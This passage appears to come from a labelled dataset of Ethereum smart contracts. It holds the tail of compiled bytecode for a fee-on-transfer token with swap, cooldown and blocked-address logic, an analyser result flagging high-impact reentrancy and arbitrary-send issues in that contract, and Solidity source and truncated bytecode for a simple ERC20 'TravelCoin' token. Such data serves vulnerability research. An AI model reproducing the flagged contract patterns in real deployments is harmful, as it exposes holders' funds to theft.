fffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c718849865939d264cc9c0fdf4e1cf931dba4bf39a33048a081eeceb015c251964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,562 |
0x641d12639c3d1841be0236e0833d7a3f91a84ab6
|
pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract TravelCoin is BurnableToken, Ownable {
string public constant name = "TravelCoin 2.0";
string public constant symbol = "TRAVEL";
uint public constant decimals = 8;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals));
// Constructors
function TravelCoin () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f3565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbc565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4d565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef5565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110cb565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134e565b005b6040805190810160405280600e81526020017f54726176656c436f696e20322e3000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a64174876e8000281565b60008082111515610a0357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5157600080fd5b339050610aa682600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afe826000546114a690919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccd576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d61565b610ce083826114a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f54524156454c000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3257600080fd5b610f8482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fdd